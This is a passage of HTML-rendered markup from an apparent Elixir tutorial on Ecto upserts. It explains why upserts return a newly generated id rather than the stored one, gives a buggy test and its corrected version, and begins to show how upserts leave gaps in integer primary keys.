&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;e8bd4951-ea2c-44b0-8123-45f314d6010f&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;c3181047-ee1a-4621-94bc-e3a4b0a88d12&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At first glance, you might wonder why Ecto inserts a new schema with a new &lt;code&gt;id&lt;/code&gt; for the same user instead of upserting an existing one. The confusing part here is that &lt;strong&gt;it doesn&apos;t&lt;/strong&gt;. When we upsert our schema for the first time, Ecto generates a &lt;code&gt;binary_id&lt;/code&gt; and saves it to the database. All good. When we upsert the schema again, Ecto generates a &lt;code&gt;binary_id&lt;/code&gt; &lt;strong&gt;again&lt;/strong&gt; and tries to insert it. Because of the constraint conflict though, that new &lt;code&gt;binary_id&lt;/code&gt; is never persisted. The database will perform our &lt;code&gt;on_conflict&lt;/code&gt; operation instead and ignore the generated id.&lt;/p&gt;
&lt;p&gt;Now comes the tricky part: Once the &lt;code&gt;on_conflict&lt;/code&gt; operation finishes, Ecto will return the schema it tried to insert, &lt;strong&gt;not&lt;/strong&gt; the existing schema that was updated! That&apos;s why it returns a completely new &lt;code&gt;binary_id&lt;/code&gt; instead of the existing one! Once we fetch the schema from the database, we see that it uses the &lt;code&gt;binary_id&lt;/code&gt; generated during the first upsert. So, all works as expected.&lt;/p&gt;
&lt;p&gt;When you run this code in production, this detail probably won&apos;t bother you. But don&apos;t forget this fact when you write your tests! Look at the following test and try to find the error we made:&lt;/p&gt;
&lt;pre id=&quot;code-block-13&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;upsert_usage/1 actually upserts a schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Did you see the mistake we made?&lt;/p&gt;
&lt;p&gt;Unless you added &lt;code&gt;returning: true&lt;/code&gt; or at least &lt;code&gt;returning: [:id]&lt;/code&gt; to the upsert function, the second assertion will fail. We fetched the updated schema with the new but ignored &lt;code&gt;id&lt;/code&gt; and not the original id. But our database found a constraint violation and ignored the new id! So, the second &lt;code&gt;Repo.get(Usage, usage.id)&lt;/code&gt; will return &lt;code&gt;nil&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is the test again, this time without the mistake:&lt;/p&gt;
&lt;pre id=&quot;code-block-14&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;upsert_usage/1 actually upserts a schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;original_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;original_usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#exploring-more-funky-id-behaviors&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;exploring-more-funky-id-behaviors&quot;&gt;&lt;/a&gt;Exploring more funky ID behaviors&lt;/h2&gt;
&lt;p&gt;Another interesting behavior of upserts is that they cause gaps between primary keys. Have a look at the following &lt;code&gt;IEx&lt;/code&gt; instructions which upsert a schema that has an integer primary key. For this demo, we added &lt;code&gt;returning: true&lt;/code&gt; to the upsert function.&lt;/p&gt;
&lt;pre id=&quot;code-block-15&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Return values were shortened for brevity&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span 